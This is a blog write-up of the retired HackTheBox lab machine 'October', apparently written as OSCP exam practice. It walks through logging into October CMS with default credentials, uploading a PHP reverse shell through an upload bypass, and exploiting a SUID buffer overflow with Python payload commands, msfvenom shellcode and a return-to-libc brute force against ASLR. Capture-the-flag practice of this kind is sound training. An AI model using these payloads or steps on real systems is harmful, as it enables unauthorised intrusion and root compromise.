Road to OSCP: HTB Series: OCTOBER Writeup

Louis Low
8 min readOct 27, 2020

In my road to OSCP certification, one of the common to-dos as many before me have done in preparation for the exams was to take on the retired machines available in Hack in The Box (HTB) platform. This platform is a great platform for practicing and learning new penetration testing skills as well as taking on the challenge of “capturing the flag” on their machines.

In this HTB series, I will be sharing my write-ups on all the retired machines that I have and will attempt. If you are wondering, “How does he know which machine to do to prepare for OSCP?” Well, I am using TjNull list of OSCP-like boxes in HTB which can be found here

This box is pretty fun and I would say I enjoy this box quite a lot. The initial foothold is pretty standard with exploit vulnerabilities in Content Management System (CMS), typically in the upload functionalities as admin on the CMS itself. The privilege escalation on this machine however, is something that I really enjoyed and had a chance to put what I learnt in class this semester to gain root.

Recon Phase

To begin with this box, we first carry out our basic Reconnaissance. For me, I used AutoRecon which is developed and scripted by Tib3rius. It is one of my fundamental scans I make before moving on to more manual enumeration for specific ports or applications. From the intial Nmap scan results done by AutoRecon:

We can see that port 22 and port 80 is open and that on port 80, Apache 2.4.7 (Ubuntu) which gives us an idea that we are dealing with a Ubuntu Linux machine and that the title of the webpage gives us an idea that we are dealing with a CMS.

Information Gathering

Browsing the web application on our browser by navigating to the IP of the box:

We see that the CMS is actually October CMS which is a free, open-source and self-hosted content management system (CMS) based on the PHP programming language and Laravel web application framework.

Checking on our GoBuster Scan result as well:

We see that /backend leads to a redirection code 302. Browsing to that:

Bingo. We have found a possibly admin login page. With a bit of GoogleFU, we managed to find out that the default credential to the admin login for October CMS is admin:admin . Using that as our username and password:

We are in! Now we want to see if there is a public available exploit for us to be able to utilise our current access to gain a shell on the machine. Using searchsploit:

Checking out the exploit in 41936.txt :

We see that there is a PHP upload bypass that will allow us to upload a webshell by bypassing the PHP upload protection.

Exploitation

We then craft a webshell taken from /usr/share/webshells/php/php-reverse-shell , changing the IP address and listening port to my IP address and port 4444. We then followed the instruction and uploaded the shell after renaming it to shell.php5

Following the instruction, we browse http://10.10.10.16/storage/app/media/shell.php5 and we checked our listener:

And we got a webshell! We then upgraded webshell (above) and grabbed the user.txt file (below):

Privilege Escalation

Information Gathering

To start, we will set up a python HTTP server on the attacking machine and transfer privilege checking scripts over to victim machine:

Giving permission to execute the script and run linpeas.sh to gather information about the machine. We review the results of the scan and one of the interesting stuff that was highlighted was the binaries that have SUID:

Notice that there seems to be a binary ovrflw that has SUID set. Navigating to /usr/bin/local and running the binary:

We see that this is a 32-bit ELF and a non-stripped binary. We also see that this ovrflw binary takes in an input string as well. Let’s try to reverse engineering this binary:

I see a strcpy function being executed here and I think that this binary might have the potential to be exploited as I am guessing the vulnerability here is a buffer overflow vulnerability.

Using msf-pattern_create to create a string that will help us find an offset to the EIP:

Passing this string to the binary as we debug it:

Notice that a segmentation fault had occured. This indicate to us that the EIP has been overwritten successfully. We also see that our EIP is now pointing to 0x64413764 . Using this value, we pass it as a query to msf-pattern_offset and we obtain the offset value to EIP register in this binary. In the same manner we can also obtained the offset to EBP register:

We then craft an initial PoC to see if we really managed to gain control of the EIP:

python -c 'print "\x41" * 108 + "\x42" * 4 + "\x43" * 4 + "\x44" * 500'

When we run the above command and pipe its output into the input of the binary:

We see that we have managed to successfully obtained control of the EIP (\x43) and we have managed to expand the write to the area after EIP as well.

Using objdump, we find a pop command that allows us to pop EBP into the EIP. We then write our own jump code to JMP to ESP using \xe4\xff . We then load a range of hex to test for badchar:

python -c 'badchar = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" );
print "\x41" * 108 + "\xe4\xff\x90\x90" + "\x2f\x85\x04\x08" + badchar'

We can see that the bad char here is \x0a\x20\x00\x09 .

Using msfvenom to generate the shellcode and modify our command:

python -c 'shellcode =  b""
shellcode += b"\xd9\xeb\xbb\xde\xf1\x9b\xbc\xd9\x74\x24\xf4"
shellcode += b"\x5e\x2b\xc9\xb1\x1f\x31\x5e\x1a\x83\xee\xfc"
shellcode += b"\x03\x5e\x16\xe2\x2b\x9b\x91\xe2\xe2\x87\x51"
shellcode += b"\xf9\x57\x7b\xcd\x94\x55\xcb\x97\xe1\xb8\xe6"
shellcode += b"\xd8\x65\x61\x91\xd2\x83\x85\x66\x8b\x91\xa5"
shellcode += b"\x6c\x99\x1f\x44\x06\x7b\x78\xd6\x86\xd4\xf1"
shellcode += b"\x37\x6b\x16\x81\x32\xac\xd1\x9b\x72\x59\x1f"
shellcode += b"\xf4\x28\xa1\x5f\x04\x74\xc8\x5f\x6e\x81\x85"
shellcode += b"\x83\x5f\x40\x58\xc3\x25\x92\x1a\x79\xce\x35"
shellcode += b"\x6f\x86\xa8\x39\x9f\x89\xca\xb0\x7c\x48\x21"
shellcode += b"\xce\x43\xa8\xba\x7e\x3e\xe2\x43\xfb\x01\x84"
shellcode += b"\x53\x58\x0b\x94\xcd\xec\x2f\xe7\xed\xdd\xb0"
shellcode += b"\x82\x32\xa5\xb2\x73\x53\xed\xb2\x8b\x94\x0d"
shellcode += b"\x0e\x8a\x94\x0d\x70\x40\x14"
shellcode += b"\xfc\xdb\x42\x0c\x09\x11\x04"; print "\x90" * 108 + "\xe4\xff\x90\x90" + "\x2f\x85\x04\x08" + shellcode'

Upon reaching this point, we seem to hit a dead-end. I have hunch that there is some form of protection that is preventing me from executing shellcode in the stack.

We then run the following command to check if we have execution on stack:

readelf -l crossfire|grep GNU_STACK
dmesg | grep NX

We see that there cannot be execution on the stack and the binary and the kernel supports NX protection.

Recalling a concept I learnt in class about Return to Libc. Looking for system function and exit function and also for a /bin/sh string in the libraries that we can utilise:

Then adding the offset to the address of the libc library, we arrange our payload to [FILLER] + [SYSTEM] + [EXIT] + [/bin/sh] and because ASLR is active and that this is a 32-bit system, we can run this in a loop until root shell is obtained:

After a short while of the loop running, we will obtain a root shell as shown below:

Then with the root shell, we can grab the root.txt flag.

Learning Points

The initial foothold is very straightforward and highlights how we should always NEVER use default passwords for our admin users for any applications, services or systems. In the privilege escalation part, I learn that usually when something looks out of place, it usually is. The ovrflw program is an interesting binary to reverse and to practice Return to Libc technique to bypass the NX protection. Since this is a 32-bit system, I learn that it is possible to use brute force technique to bypass the ASLR by running the exploit in an infinite loop until the root shell is obtained.

Thank you for reading! And like always if you enjoy this write-ups, subscribe to my publications or follow me on twitter @lojomojo96 and hit me up with a DM! It will really encourage me to write and share even as I prepare for my OSCP Certification. Of course, if there are points to improve upon my own methodology, do let me know too!

--

--

Louis Low

Security Engineer by Day | Security Researcher by Night | Bug Bounty Hunting